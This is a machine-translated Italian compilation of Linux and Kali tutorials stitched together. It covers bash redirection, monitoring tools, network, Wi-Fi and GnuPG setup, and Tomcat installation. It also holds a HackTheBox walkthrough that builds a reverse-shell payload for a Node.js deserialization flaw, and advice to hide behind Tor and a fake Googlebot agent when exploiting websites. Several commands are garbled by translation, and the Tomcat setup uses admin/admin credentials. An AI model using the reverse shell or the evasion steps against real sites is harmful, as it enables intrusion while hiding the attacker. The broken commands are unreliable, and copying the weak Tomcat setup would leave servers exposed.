Reindirizza l'output standard (stdout) di cmd in un file.

cmd 1> file

Uguale a cmd > file. 1 è il descrittore di file predefinito (fd) per stdout.

cmd 2> file

Reindirizza l'errore standard (stderr) di cmd in un file. 2 è l'fd predefinito per stderr.

cmd >> file

Aggiungi stdout di cmd a un file.

cmd 2>> file

Aggiungi stderr di cmd a un file.

cmd &> file

Reindirizza stdout e stderr di cmd in un file.

cmd > file 2>&1

Un altro modo per reindirizzare sia stdout che stderr di cmd in un file. Questo non è lo stesso di cmd 2>&1> file.

cmd > /dev/null

Elimina stdout di cmd.

cmd 2> /dev/null

Elimina stderr di cmd.

cmd &> /dev/null

Elimina stdout e stderr di cmd.

cmd <file

Reindirizza il contenuto del file allo standard input (stdin) di cmd.

cmd << EOL

riga1

riga2

EOL

Reindirizza un mucchio di righe allo stdin. Se 'EOL' è citato, il testo viene trattato alla lettera. Questo è chiamato qui-documento.

cmd <<- EOL

<tab>foo

<tab>bar

EOL

Reindirizza un mucchio di righe allo stdin e rimuovi le schede principali.

cmd <<< “stringa”

Reindirizza una singola riga di testo allo stdin di cmd. Questa è chiamata qui-stringa.

exec2> file

Reindirizza lo stderr di tutti i comandi in un file per sempre.

exec 3<file

Apri un file per la lettura utilizzando un descrittore di file personalizzato.

exec 3> file

Apri un file per la scrittura utilizzando un descrittore di file personalizzato.

exec 3<> file

Apri un file per la lettura e la scrittura utilizzando un descrittore di file personalizzato.

esecutivo 3>&-

Chiude un descrittore di file.

exec 4>&3

Fai in modo che il descrittore di file 4 sia una copia del descrittore di file 3. (Copia fd 3 in 4.)

esec 4>&3-

Copia il descrittore di file da 3 a 4 e chiudi il descrittore di file 3.

echo "pippo" >&3

Scrivi in ​​un descrittore di file personalizzato.

gatto <&3

Leggere da un descrittore di file personalizzato.

(cmd1; cmd2) > file

Reindirizza stdout da più comandi a un file (usando una sub-shell).

{cmd1; cmd2; } > file

Reindirizza stdout da più comandi a un file (più veloce; senza usare una sotto-shell).

exec 3<> /dev/tcp/host/porta

Apre una connessione TCP a host:porta. (Questa è una funzionalità di bash, non una funzionalità di Linux).

exec 3<> /dev/udp/host/porta

Apre una connessione UDP a host:porta. (Questa è una funzionalità di bash, non una funzionalità di Linux).

cmd <(cmd1)

Reindirizza lo stdout di cmd1 a un fifo anonimo, quindi passa il fifo a cmd come argomento. Utile quando cmd non legge direttamente da stdin.

cmd < <(cmd1)

Reindirizza stdout di cmd1 a un fifo anonimo, quindi reindirizza il fifo a stdin di cmd. Miglior esempio: diff <(find /path1 | sort) <(find /path2 | sort).

cmd <(cmd1) <(cmd2)

Reindirizza lo stdout di cmd1 e cmd2 a due fifo anonimi, quindi passa entrambi i fifo come argomenti a cmd.

cmd1 >(cmd2)

Esegui cmd2 con il suo stdin connesso a un fifo anonimo e passa il nome file della pipe come argomento a cmd1.

cmd1 > >(cmd2)

Esegui cmd2 con il suo stdin connesso a un fifo anonimo, quindi reindirizza lo stdout di cmd a questa pipe anonima.

cmd1 | cmd2

Reindirizza stdout di cmd1 a stdin di cmd2.

cmd1 |& cmd2

Reindirizza stdout e stderr di cmd1 a stdin di cmd2 (solo bash 4.0+). Usa cmd1 2>&1 | cmd2 per bash meno recenti.

cmd | file tee

Reindirizza lo stdout di cmd in un file e stampalo sullo schermo.

exec {filew}> file

Apri un file per la scrittura usando un descrittore di file con nome chiamato {filew} (bash 4.1+).

comando 3>&1 1>&2 2>&3

Scambia stdout e stderr di cmd.

cmd > >(cmd1) 2> >(cmd2)

Invia stdout di cmd a cmd1 e stderr di cmd a cmd2.

cmd1 | cmd2 | cmd3 | cmd4

echo ${PIPESTATUS[@]}

Scopri i codici di uscita di tutti i comandi reindirizzati.

I 10 migliori strumenti per il monitoraggio e le prestazioni del sistema Linux

   

L'analisi delle prestazioni del sistema sembra essere una domanda frequente nei forum e nelle mailing list. Scoprire perché qualcosa è lento non è generalmente banale in quanto ci sono molti fattori da considerare. È davvero un lavoro molto duro per ogni amministratore di sistema o di rete monitorare ed eseguire il debug dei problemi di prestazioni del sistema Linux ogni giorno.

Dopo essere stato un amministratore Linux per 8 anni nel settore IT, siamo venuti a sapere quanto sia difficile monitorare e mantenere i sistemi attivi e funzionanti. Per questo motivo, abbiamo compilato l'elenco dei 10 migliori strumenti di monitoraggio e prestazioni del sistema da riga di comando che potrebbero essere utili per ogni amministratore di sistema Linux/Unix.

Leggi anche: I 9 migliori strumenti di monitoraggio dei log

Questi comandi sono disponibili in tutte le versioni di Linux e possono essere utili per monitorare e trovare le effettive cause del problema delle prestazioni. Questo elenco di comandi mostrato qui è molto sufficiente per scegliere quello adatto al tuo scenario di monitoraggio.

Unix ha i seguenti principali tipi di risorse che devono essere monitorati e messi a punto che sono:

CPU, memoria, spazio su disco, linee di comunicazione, tempo di I/O, tempo di rete e programmi applicativi

"Linux fornisce i seguenti importanti strumenti per misurare e mettere a punto le prestazioni del sistema come visto con appoptics.com , che sono i seguenti:"

1. Comando gratuito

Questo comando visualizza tutte le informazioni necessarie sul sistema fisico (RAM) e sulla memoria di scambio che è in KB  e se si desidera visualizzare tutte le dimensioni in MB , il comando è " free -mt " Dove l'attributo t visualizza la riga Totale che è la somma dei valori della memoria fisica e di scambio.

Comando: gratuito

In questo caso, la nostra memoria fisica totale su questo sistema è di 4 GB.

2. Comando in alto

Visualizza informazioni in tempo reale su varie metriche delle prestazioni del sistema come carico della CPU, utilizzo della memoria, elenco dei processi ecc

Comando: in alto

Premi q se vuoi uscire da questo comando.

Qui puoi vedere che,

Premere c se si desidera visualizzare il percorso completo dei processi in esecuzione come mostrato di seguito:

Premere 1  che visualizzerà i dati sulle prestazioni delle singole CPU su quella macchina come mostrato di seguito:

3. Comando ps

Questo comando visualizzerà le informazioni sull'istantanea di tutti i processi attivi.

Comando: ps

E se vuoi visualizzare tutti i processi in esecuzione nello stesso sistema, il comando è " ps aux | di più ”

Puoi anche usare “ ps -ef | more ” per ottenere un risultato simile:

Nel caso in cui, se si desidera visualizzare l'output sotto forma di ALBERO, il comando è " ps axuf " che in realtà aiuta a visualizzare immediatamente il processo e il relativo processo padre, come mostrato di seguito:

Puoi anche visualizzare tutti i processi di proprietà di un particolare utente. Ad esempio, se si desidera visualizzare tutti i processi per l'utente root, il comando sarà " ps U root " che visualizzerà solo tutti i processi di proprietà dell'utente root.

Il seguente comando visualizzerà tutti i processi di proprietà solo dell'utente corrente.

Comando: ps U $USER

4. Comando df

Questo comando visualizza sostanzialmente la quantità di spazio su disco totale e libero disponibile sui file system montati.

Comando: df

Digitando " df -h ", visualizza i valori in formato leggibile dall'uomo.

Qui puoi vedere che lo spazio disponibile nel nostro sistema è di 61 GB.

E nel caso, se si desidera visualizzare il tipo di filesystem insieme a tutte le informazioni di cui sopra, il comando è " df -Tha ".

5. du comando

Questo comando stamperà l'utilizzo dello spazio file per una particolare directory e le sue sottodirectory.

Comando: du -sh ~

Qui -s sta per solo riepilogo e -h visualizzerà il valore in un formato leggibile dall'uomo che nel nostro caso è 303M.

6. Comando ls0f

Lsof sta per ls open files, che elencherà tutti i file aperti nel sistema. I file aperti includono connessione di rete, dispositivi e directory.

Comando: lsof | Di più

E nel caso, se vuoi scoprire tutte le informazioni per un particolare utente, il comando è " lsof -u root " come mostrato di seguito:

È inoltre possibile stampare tutte le informazioni per un particolare file o processo.

Ad esempio, qui stiamo eseguendo  il comando gdisk in un altro terminale e quindi digitiamo " lsof /sbin/gdisk " nel terminale successivo che fornisce tutte le informazioni su questo file/processo solo come mostrato di seguito:

7. Comando sar

I comandi Sar vengono forniti con il pacchetto sysstat. Assicurati che sysstat sia installato. Se non hai sar installato sul tuo sistema, puoi installarlo digitando " apt-get install sysstat " come mostrato di seguito:

Sar è un eccellente strumento di monitoraggio che visualizza i dati sulle prestazioni di quasi tutte le risorse del sistema, inclusi CPU, memoria, IO, paging, rete, interruzioni, ecc. Sar inoltre raccoglie, riporta (visualizza) e salva i dati sulle prestazioni.

Dopo l'installazione, se vedi qualche tipo di errore di lettura del file, devi riconfigurare il pacchetto digitando " dpkg-reconfigure sysstat " come mostrato di seguito:

Digitare " sar -u " visualizzerà tutte le informazioni sulle statistiche della CPU e nel caso in cui si desideri visualizzare l'output per le singole CPU, il comando è " sar -u -P ALL " come mostrato di seguito:

Il comando: " sar -d " visualizzerà le statistiche di IO del disco"

Per le statistiche di rete, il comando è “ sar -n DEV | di più ”.

8. Comando vmstat

Per un tipico monitoraggio delle prestazioni tutto ciò di cui hai bisogno è solo il comando vmstat che visualizza le informazioni sulle prestazioni di memoria, scambio, IO, sistema e CPU. Il seguente comando esegue vmstat ogni 1 secondo per 100 volte.

Comando: vmstat 1 100

Qui,

9. Comando netstat

Il comando Netstat visualizza le informazioni relative alla rete come connessioni di rete, tabelle di routing, statistiche di interfaccia.

Per visualizzare le connessioni Internet attive e i socket di dominio il comando è:

Comando: netstat -an

Per visualizzare le connessioni attive con ID processo e nome programma, il comando è " netstat -tap "

e per la tabella di instradamento, il comando è " netstat -route ".

Per le statistiche di rete grezze, il comando è " netstat –statistics –raw ".

10. Comando sysctl

Il parametro del kernel Linux può essere modificato al volo utilizzando il comando sysctl. Sysctl aiuta a configurare i parametri del kernel Linux durante il runtime.

Comando: sysctl -a

Attacco di deserializzazione Node.js – Tutorial dettagliato        

   

Node.js è un runtime Javascript. Incapsula il motore Google V8. Il motore Google V8 esegue rapidamente Javascript con prestazioni elevate. Node.js ottimizza alcuni casi speciali e fornisce API sostitutive, che consentono al motore Google V8 di funzionare in modo più efficace in un ambiente diverso dal browser.

Tuttavia, esiste ancora una vulnerabilità legata all'esecuzione di codice in modalità remota nel processo di serializzazione di Node.js. La libreria node-serialize di Node.js presenta una vulnerabilità. Trasmettendo JavaScript IIFE, gli aggressori possono utilizzare codice dannoso (dati non attendibili) per eseguire in remoto codice arbitrario nella deserializzazione.

Dimostrazione pratica –

Informazioni sulla vulnerabilità (attacco di deserializzazione) –

I dati non attendibili vengono passati alla funzione unserialize(), che consente di bypassare con un'espressione di funzione IIFE immediatamente richiamata degli oggetti JavaScript per implementare l'esecuzione di codice arbitrario.

Quindi il tuo passaggio è installare il pacchetto nodejs con l'aiuto del comando apt-get come mostrato di seguito:

Comando: apt-get install nodejs

Nel passaggio successivo, è necessario installare l'utilità npm (per un'ulteriore installazione del pacchetto node-serialize con npm) con l'aiuto del comando CURL come mostrato di seguito:

Comando: curl -L https://www.npmjs.com/install.sh | sh

Non appena installi e configuri Nodejs e Npm, installa semplicemente il pacchetto node-serialize con l'aiuto di npm digitando " npm install node-serialize " come mostrato di seguito:

Dall'altro lato, ci siamo già connessi con il server HacktheBox il cui Vulnerable Node Machine IP è 10.10.10.85:3000 (dove è in esecuzione Nodejs Express Framework che puoi ulteriormente confermare con Nmap Scanning)

Quindi, nel primo passaggio, è necessario acquisire la richiesta GET dell'IP vulnerabile di Nodejs sopra con l'aiuto di uno degli strumenti di intercettazione proxy più popolari, ovvero Burp Suite, che si presenta come di seguito:

Nella seconda fase, seleziona semplicemente il valore del cookie e invialo alla scheda Decoder per un'ulteriore decrittazione.

La vulnerabilità in questa applicazione Web vulnerabile è che legge un cookie denominato profile dalla richiesta HTTP, esegue la decodifica base64 del valore del cookie e lo passa alla funzione unserialize() . Poiché il cookie è un input non attendibile, un utente malintenzionato può creare un valore cookie dannoso per sfruttare questa vulnerabilità.

Nel terzo passaggio, devi scaricare Nodejs Security Toolkit sviluppato da Ajin Abraham , uno dei più famosi esperti di sicurezza mobile.

Per installare Nodejs Security Toolkit , digita il seguente comando nel tuo terminale.

Comando: git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

Passare alla cartella scaricata ed eseguire il seguente comando per creare un payload della shell inversa che valuta il codice javascript come una stringa.

Innanzitutto, devi scoprire l'IP del tunnel digitando " ifconfig " e quindi eseguire il seguente comando:

Comando: python nodejsshell.py 10.10.14.145 4443

Questo è l'output del payload finale della shell inversa.

Ora generiamo il payload serializzato con il seguente javascript.

Codice:

var y = {
rce : function() {}
}
var serialize = require('node-serialize');
console.log("Serializzato: \n" + serialize.serialize(y));

Aggiungi l'output del payload sopra tra parentesi graffe {    eval(String.from………   } come mostrato di seguito:

Salva il file come  exploit.js ed esegui con il comando node che genera il payload serializzato finale come mostrato di seguito:

Comando: nodo exploit.js

Ora torna a BurpSuite e vai alla scheda Decoder e incolla il codice di output sopra in Textarea e prima di decodificare, aggiungi le parentesi IIFE () dopo il corpo della funzione come mostrato di seguito:

Qui, dobbiamo eseguire la codifica Base64 dello stesso, quindi effettuare una richiesta al server Web con il payload codificato nel valore dell'intestazione Cookie.

Ora per fare una richiesta, devi inviare la stessa richiesta a Repeater Tab .

Nella scheda Ripetitore, è necessario sostituire il valore del cookie con il valore codificato base64 che abbiamo generato dal passaggio precedente e quindi fare clic sul pulsante VAI .

E fianco a fianco, assicurati che il tuo servizio netcat sia in ascolto sulla stessa porta, ad esempio 4443 (è la stessa porta per il payload della shell inversa)

Comando: nc -lvp 4443

Non appena fai clic sul pulsante Vai, la richiesta verrà inviata al server che mostra una risposta di 200 OK con un messaggio di errore " Si è verificato un errore ... tipo di nome utente non valido " e immediatamente ti collegherai a quel server nel terminale netcat con lo stato " Connesso “.

Imposta l'indirizzo IP in Linux: statico / DHCP

   

Quando scrivi una lettera a qualcuno, di solito metti un indirizzo completo sulla busta specificando il paese, lo stato e il codice postale. Dopo averlo inserito nella cassetta delle lettere, l'ufficio postale lo consegnerà a destinazione: verrà inviato nel paese indicato, dove il servizio nazionale lo invierà allo stato e alla regione di competenza. Il vantaggio di questo schema gerarchico è ovvio: ovunque tu imbuchi la lettera, il direttore delle poste locali sa approssimativamente in quale direzione inoltrare la lettera, ma al direttore delle poste non importa in che direzione viaggerà la lettera una volta raggiunta il paese di destinazione.

Le reti IP sono strutturate in modo simile. L'intera Internet è costituita da una serie di reti adeguate, chiamate sistemi autonomi. Ogni sistema esegue l'instradamento tra i suoi host membri internamente in modo che il compito di consegnare un datagramma si riduca alla ricerca di un percorso verso la rete dell'host di destinazione. Non appena il datagramma viene consegnato a qualsiasi host su quella particolare rete, l'ulteriore elaborazione viene eseguita esclusivamente dalla rete stessa.

Nel primo passaggio, assicurati di dover interrompere il servizio di rete e quindi riavviare lo stesso servizio digitando i seguenti comandi:

Per arrestare/avviare il servizio di rete,

Comando: /etc/init.d/networking stop
Comando: /etc/init.d/networking start

Ubuntu utilizza il gestore di rete invece del tradizionale modello di rete Linux. Quindi dovresti riavviare il servizio di gestione della rete invece del servizio di rete.

Per arrestare/avviare il gestore di rete

Comando: /etc/init.d/network-manager stop
Comando: /etc/init.d/network-manager start

Con l'aiuto del comando seguente, puoi facilmente visualizzare la tua interfaccia digitando:

Comando: ifconfig eth0 up

Un paio di comandi vengono utilizzati per configurare le interfacce di rete e inizializzare la tabella di routing. Queste attività vengono in genere eseguite dallo script di inizializzazione della rete ogni volta che si avvia il sistema. Gli strumenti di base per questo processo sono chiamati ifconfig (dove if sta per interfaccia) e route.

ifconfig viene utilizzato per rendere un'interfaccia accessibile al livello di rete del kernel. Ciò comporta l'assegnazione di un indirizzo IP e di altri parametri e l'attivazione dell'interfaccia, nota anche come attivazione dell'interfaccia. Essere attivo qui significa che il kernel invierà e riceverà datagrammi IP attraverso l'interfaccia.

Il modo più semplice per invocarlo è con:

ifconfig interfaccia ip?indirizzo

Ora abbiamo due opzioni qui cioè DHCP o statico

1. Impostazione dell'indirizzo IP -DHCP (tramite riga di comando)

Prima di configurare il DHCP, assicurati che il tuo router sia in grado di servire il DHCP. Per impostare l'indirizzo IP/maschera di rete ecc. tramite DHCP, il comando è:

Comando: echo "iface eth0 inet dhcp" >>/etc/network/interfaces

Con questo, otterrai automaticamente l'indirizzo IP, la subnet mask, l'indirizzo di trasmissione, l'IP del gateway e l'indirizzo IP del DNS.

2. Impostazione dell'indirizzo IP – Statico (tramite riga di comando) –

In caso statico, utilizziamo la classe C per l'indirizzo IP e digitiamo i seguenti comandi per impostare l'indirizzo IPv4, la maschera di rete e l'indirizzo di trasmissione.

Comando: ifconfig eth0 192.168.169.134
Comando: ifconfig eth0 netmask 255.255.255.0
Comando: ifconfig eth0 broadcast 192.168.169.255

Poiché abbiamo impostato tutte le cose manualmente, il passaggio successivo è impostare l'indirizzo del gateway.

route consente di aggiungere o rimuovere rotte dalla tabella di routing del kernel. Può essere invocato come:

percorso [add|del] [-net|-host] target [if]

Gli argomenti add e del determinano se aggiungere o eliminare la rotta verso la destinazione. Gli argomenti -net e -host indicano al comando route se l'obiettivo è una rete o un host (si presume che si tratti di un host se non lo specifichi). L'argomento if è ancora facoltativo e consente di specificare a quale interfaccia di rete deve essere diretto il percorso, il kernel di Linux fa un'ipotesi sensata se non si forniscono queste informazioni.

Comando: route add default gw 192.168.169.2 eth0

Per verificare l'indirizzo del gateway, puoi utilizzare il comando " route -n " ​​come mostrato di seguito:

In alternativa puoi anche impostare l'indirizzo IP, la maschera di rete e l'indirizzo del gateway con un solo comando a riga singola come mostrato di seguito:

Comando: echo -e “iface eth0 inet dhcp\n indirizzo 192.168.169.134 \n netmask 255.255.255.0 \n gateway 192.168.169.2 “>>/etc/network/interfaces

Configurazione del server dei nomi/DNS

Quando si configura la libreria resolver per utilizzare il servizio di nomi BIND per le ricerche di host, è necessario indicare anche quali server di nomi utilizzare. C'è un file separato per questo chiamato resolv.conf . Se questo file non esiste o è vuoto, il resolver presuppone che il server dei nomi si trovi sull'host locale.

Se sei su una rete locale e hai l'opportunità di utilizzare un server dei nomi esistente, questo dovrebbe sempre essere preferito. Se si utilizza una connessione IP dialup a Internet, normalmente si specifica il server dei nomi del provider di servizi nel file resolv.conf .

L'opzione più importante in resolv.conf è nameserver , che fornisce l'indirizzo IP di un server dei nomi da utilizzare. Se si specificano più server dei nomi fornendo più volte l'opzione del server dei nomi, questi vengono provati nell'ordine indicato. Dovresti quindi mettere al primo posto il server più affidabile. L'attuale implementazione ti consente di avere fino a tre istruzioni del server dei nomi in resolv.conf . Se non viene fornita alcuna opzione del server dei nomi, il resolver tenta di connettersi al server dei nomi sull'host locale.

Nel caso in cui ricevi errori relativi al DNS, con l'aiuto del comando seguente, puoi configurare facilmente i tuoi server DNS personalizzati.

Comando: echo "server dei nomi 8.8.8.8 \n server dei nomi 8.8.4.4 " >>/etc/resolv.conf

Qui stiamo usando i server DNS pubblici di Google come esempio.

Connetti la rete Wi-Fi dal terminale – Kali Linux

   

Oggi, la rete wireless è diventata sempre più presente in aree aperte o in grandi aziende ed è necessario un miglioramento della sicurezza per controllare l'autenticazione e la riservatezza. Il gruppo di lavoro 802.11 ha introdotto l'emendamento 802.11i come fase finale dello standard Robust Security Network, sostituendo la vecchia tecnologia WEP.

Oggi ti mostreremo un tutorial dettagliato passo dopo passo che spiega come connettersi a una rete Wi-Fi in Kali Linux dal terminale.

Il primo passo è trovare gli adattatori wireless disponibili che puoi facilmente elencare tutti digitando il seguente comando:

Comando: iw dev

iw è una nuova utility di configurazione CLI basata su nl80211 per dispositivi wireless. Supporta tutti i nuovi driver che sono stati aggiunti di recente al kernel. Il vecchio strumento iwconfig, che utilizza l'interfaccia Wireless Extensions, è deprecato ed è fortemente consigliato passare a iw e nl80211 .

Dall'output sopra, sembra che abbiamo un solo adattatore wireless il cui nome di interfaccia è " wlan0 " e designato come phy#0 e di tipo gestito   (significa che il dispositivo è una stazione Wi-Fi o un client che si connette a un punto di accesso) e l'indirizzo hardware (Mac Address) è 42:97:d7:db:b7:ef .

In alternativa, puoi anche scoprire tutte le cose di cui sopra digitando " iwconfig ".

Il passaggio successivo consiste nel verificare lo stato del dispositivo se il dispositivo wireless è SU o GIÙ digitando il seguente comando:

Comando: ip link mostra wlan0

ip viene utilizzato per mostrare/manipolare routing, dispositivi, policy routing e tunnel. Viene utilizzato per abilitare/disabilitare i dispositivi e aiuta a trovare informazioni generali sulla rete.

Utilizzare il seguente comando per visualizzare l'interfaccia wifi, ad esempio wlan0:

Comando: ip link set wlan0 up

Ora conferma lo stesso digitando " sudo ip link show wlan0 " per controllare lo stato, e ora viene visualizzato UP 🙂

Puoi anche controllare lo stato della connessione della rete WiFi digitando " iw wlan0 link " che mostra Non connesso in questo momento, perché non ci siamo ancora connessi.

Il prossimo passo è scansionare tutte le reti WiFi vicino al tuo adattatore digitando il seguente comando:

Comando: iw wlan0 scan

Nella schermata sottostante, come puoi vedere, il nome SSID è "        " a cui dobbiamo connetterci e il protocollo di sicurezza è RSN, comunemente indicato anche come protocollo WPA2.

Ora genereremo un file di configurazione per wpa_supplicant che contiene la chiave precondivisa (password) per la rete WiFi

Comando: wpa_passphrase        >> /etc/wpa_supplicant.conf

In questo caso, la nostra password wireless        è " 12345678 ".

wpa_passphrase creerà le voci di configurazione necessarie in base al tuo input. Ogni nuova rete verrà aggiunta come nuova configurazione (non sostituirà le configurazioni esistenti) nel file di configurazione /etc/wpa_supplicant.conf .

Ora abbiamo il file di configurazione, nome SSID, possiamo usarlo per connettere la rete wifi usando il comando wpa_supplicant come mostrato di seguito:

Comando: wpa_supplicant -B -D wext -i wlan0 -c /etc/wpa_supplicant.conf

wpa_supplicant è un Supplicant WPA per Linux, BSD, Mac OS X e Windows con supporto per WPA e WPA2 (IEEE 802.11i / RSN). È adatto sia per computer desktop/laptop che per sistemi integrati. Supplicant è il componente IEEE 802.1X/WPA utilizzato nelle stazioni client. Implementa la negoziazione delle chiavi con un WPA Authenticator e controlla il roaming e l'autenticazione/associazione IEEE 802.11 del driver wlan.

Qui,

Utilizzare il comando iw per verificare di essere connessi o meno allo stesso SSID.

Comando: iw wlan0 link

Se nel caso non ottieni alcun indirizzo IP, puoi ottenerlo facilmente tramite il comando " dhclient wlan0 ".

Per controllare l'indirizzo IP, digitare " ip addr show wlan0 " che sembra che abbiamo ottenuto il nostro indirizzo IP che è 192.168.43.65

Puoi anche confermarlo digitando " ifconfig wlan0 ".

L'ultimo passaggio di configurazione consiste nell'assicurarsi di disporre delle regole di routing corrette che è possibile confermare digitando " ip route show ".

Ora esegui il ping dell'IP DNS pubblico di Google per verificare la connettività di rete o semplicemente puoi navigare su qualsiasi sito web.

Nel caso, se riscontri qualche problema/errore, puoi impostare il routing manualmente digitando " ip route add default via 192.168.43.1 dev wlan0 "

Crittografia e decrittografia di file in Linux con GnuPG

   

GnuPG è un'implementazione completa e gratuita dello standard OpenPGP come definito da RFC4880 (noto anche come PGP). GnuPG ti consente di crittografare e firmare i tuoi dati e le tue comunicazioni; è dotato di un versatile sistema di gestione delle chiavi, insieme a moduli di accesso per tutti i tipi di elenchi di chiavi pubbliche.

GnuPG, noto anche come GPG, è uno strumento a riga di comando con funzionalità per una facile integrazione con altre applicazioni. Sono disponibili numerose applicazioni e librerie di frontend. GnuPG fornisce anche il supporto per S/MIME e Secure Shell (ssh).

Creiamo un semplice file di testo con l'aiuto dello strumento gedit che è già preinstallato nel sistema operativo Kali Linux.

Per creare un file, digitare

Comando: gedit       .txt

Per crittografare questo file, digita il seguente comando:

Comando: gpg -c       .txt

che ti chiederà inoltre di impostare la tua password e creerà un nuovo file chiamato       .txt.gpg

Digita " ls " per elencare tutti i file nella directory corrente e, come puoi vedere, ora abbiamo due file, ovvero       .txt e       .txt.gpg (che ho crittografato) ed è molto difficile da recuperare o decifrare.

Per visualizzare il contenuto del file crittografato, digita " cat       .txt.gpg " come mostrato di seguito:

Per decrittografare lo stesso file, digita " gpg       .txt.gpg " nello stesso terminale che estrae effettivamente il file originale.

Anonimato di SQLMAP con TOR Proxy – Kali Linux        

   

In un tutorial precedente, abbiamo discusso su come utilizzare SQLMAP per lo sfruttamento dei siti Web e in questo discuteremo di più sull'anonimato che aggiunge sicuramente un ulteriore livello di protezione tra te e il tuo obiettivo.

Leggi anche: Come rendere completamente anonimo il sistema Linux con TOR usando Nipe

Installazione di TOR in Kali Linux

Tor è molto facile da installare in Kali Linux, devi solo digitare il seguente comando per installarlo:

Comando: apt-get install tor

Nel caso in cui mostri qualche tipo di errore relativo a " Impossibile individuare il pacchetto ", eseguire il comando " sudo apt-get update " prima dell'installazione di TOR e quindi provare lo stesso con il comando precedente.

Per avviare Tor, digita semplicemente " tor " nello stesso terminale che impiega circa 1-2 minuti per avviarsi e non chiudere questo terminale.

Quando si tenta di sfruttare qualsiasi sito Web utilizzando sqlmap, è sempre una buona idea essere anonimi.

Sqlmap ha un eccellente supporto per l'utilizzo di proxy comuni o tor.

Assicurati che il tuo tor stia eseguendo il demone socks5 sulla porta 9050 . Quindi utilizzare il proxy socks5 con sqlmap come mostrato nel seguente comando:

Comando: sqlmap -u < sito web vulnerabile > –tor –tor-type=SOCKS5

Qui, l'opzione –tor per impostazione predefinita tenta di utilizzare HTTP Proxy invece di SOCKS5, pertanto è necessario menzionare il tipo di proxy che in questo caso è SOCKS5 insieme al numero di porta 9050 aggiungendo –tor-port=9050 –check-tor  (  facoltativo ).

Per migliorare ulteriormente, puoi anche aggiungere un falso User-Agent di Google Bot come mostrato di seguito:

Comando:  sqlmap -u < Sito web vulnerabile > –tor –tor-type=SOCKS5 –user-agent=”Googlebot (compatibile; Googlebot/2.1; +http://www.google.com/bot.html)”

Eseguendo il comando sopra, assomiglierai a un Google Bot e il tuo IP sarebbe quello di qualche nodo di uscita TOR.

Inoltre, se si desidera utilizzare alcuni strumenti come Nmap o Metasploit, è necessario installare un altro strumento, ad esempio Proxychains, che è possibile installare facilmente digitando il seguente comando:

Comando: apt-get install proxychains

Ora esegui il seguente comando per aggiungere l'IP proxy insieme a Port nel file proxychains.conf

Comando: echo socks5 127.0.0.1 9050 >> /etc/proxychains.conf

Supponiamo di voler eseguire nmap su un IP, quindi digitare:

Comando: proxychains nmap -n 8.8.8.8

Puoi anche eseguire Metasploit su Tor impostando l'opzione seguente:

Comando: imposta Proxy socks5:127.0.0.1:9050

Installa Apache Tomcat in Kali Linux – Tutorial        

   

In questo tutorial, ti mostreremo come installare Apache Tomcat 8.5.32 su Kali Linux. Apache Tomcat che è un'implementazione Java Servlet open source sviluppata da Apache Software Foundation e utilizzata da molte grandi aziende in tutto il mondo. Tomcat supporta varie tecnologie Java Server come JSP (Java Server Pages), Java Expression Language e Java WebSocket.

Il Tomcat è costituito dai seguenti componenti:

Prerequisiti –

  1. Kali Linux (32 bit/64 bit)
  2. Pacchetto Tomcat

Prima di installare Tomcat, gli sviluppatori devono assicurarsi di disporre dell'ultima versione di Java Development Kit (JDK) installata e configurata sul sistema. È preferibile utilizzare Oracle Java.

Per eseguire questa installazione, gli sviluppatori devono installare l'ultima versione di Oracle Java (JDK) su Kali Linux. Puoi anche verificare la versione di Java digitando il seguente comando:

Comando: java -versione

Nel primo passaggio, crea una directory sotto /opt con il nome  tomcat digitando " mkdir /opt/tomcat "

Questa sarà la directory in cui scaricheremo ed estrarremo tutti i file del pacchetto Apache Tomcat.

Ora esegui il seguente comando per scaricare il file zip della versione Apache Tomcat 8.5.32 nella directory /opt/tomcat:

Comando: wget http://redrockdigimark.com/apachemirror/tomcat/tomcat-8/v8.5.32/bin/apache-tomcat-8.5.32.zip

Il download richiederà del tempo a seconda della velocità della rete.

Successivamente, estrai il file zip Tomcat digitando " unzip apache-tomcat-8.5.32.zip " come mostrato di seguito:

Ora rendi eseguibili gli script Linux che si trovano in apache-tomcat-8.5.32/bin/ e quindi crea un collegamento simbolico dello script di avvio e spegnimento per Tomcat.

Per modificare l'autorizzazione, digitare

Comando: cd apache-tomcat-8.5.32/bin/
Comando: chmod 700 *.sh
Comando: ls -l

Ora è il momento di creare il collegamento simbolico con l'aiuto del  comando ln -s  dello script di avvio e spegnimento in modo che Tomcat possa essere facilmente avviato e arrestato con un solo comando.

Per lo script di avvio, il comando è:

Comando: ln -s /opt/tomcat/apache-tomcat-8.5.32/bin/startup.sh /usr/bin/tomcatstart

Per Shutdown Script, il comando è:

Comando: ln -s /opt/tomcat/apache-tomcat-8.5.32/bin/shutdown.sh /usr/bin/tomcatstop

Ora per avviare Tomcat, devi solo lanciare il comando seguente come root da qualsiasi punto della shell.

Comando: Tomcatstart

Non appena esegui il comando precedente, il tuo server Tomcat si avvierà sulla porta 8080 che puoi facilmente navigare localhost:8080 in qualsiasi browser come mostrato di seguito:

Per arrestare il server Tomcat, devi solo digitare  tomcatstop   nello stesso terminale che arresta immediatamente il tuo server Tomcat.

Per impostazione predefinita, gli sviluppatori accedono alla pagina Tomcat solo a causa della sua implementazione di sicurezza in modo che gli utenti non autorizzati non possano accedervi. Per accedere ad Admin e ad altre sezioni come Server Status, App. Manager e Host Manager, gli sviluppatori devono aggiungere gli account utente per amministratori e gestori.

Per fare ciò, apri il file tomcat-users.xml che si trova nella directory /opt/tomcat/apache-tomcat-8.5.32/conf/ e aggiungi la seguente parte di codice prima della riga </tomcat-users>.

<role rolename=”manager-gui”/>
<role rolename=”admin-gui” />
<user username=”admin” password=”admin” roles=”manager-gui,admin-gui”/>

Ora sarai in grado di accedere alla pagina Manager che assomiglia allo screenshot qui sotto, ma assicurati di dover arrestare e riavviare il server Tomcat.

Inoltre, se vuoi che acceda al pannello del gestore web da remoto, apri  il file context.xml che si trova in /opt/tomcat/apache-tomcat-8.5.32/webapps/manager/META-INF/ e commenta il seguente pezzo di codice come mostrato di seguito:

E lo stesso può essere fatto anche per host-manager che si trova in /opt/tomcat/apache-tomcat-8.5.32/webapps/host-manager/META-INF/context.xml

Ora puoi eseguire facilmente il pannello GUI di Manager da qualsiasi postazione remota.

Inoltre, puoi anche modificare il numero di porta del server Tomcat (predefinito 8080 ) modificando il file /opt/tomcat/apache-tomcat-8.5.32/conf/server.xml come mostrato di seguito (riga n. 69):

Dopo aver cambiato la porta Tomcat in (anyport ie 1337 ), riavviare nuovamente il servizio Tomcat e puntare il browser su http://localhost:1337/.

